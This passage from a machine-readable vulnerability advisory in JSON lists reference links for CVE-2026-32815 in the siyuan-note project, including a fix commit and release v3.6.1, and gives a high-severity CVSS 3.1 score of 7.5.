                    "url": "https://api.github.com/advisories/GHSA-xp2m-98x8-rpj6"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-xp2m-98x8-rpj6"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32815"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32815.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-xp2m-98x8-rpj6.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4709.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp2m-98x8-rpj6"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-xp2m-98x8-rpj6"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/commit/1e370e37359778c0932673e825182ff555b504a3"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32815"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5825995",
                        "CSAFPID-5839032",
                        "CSAFPID-5920116"
                    ]
                }
            ],
            "title": "CVE-2026-32815"
        }
    ]
}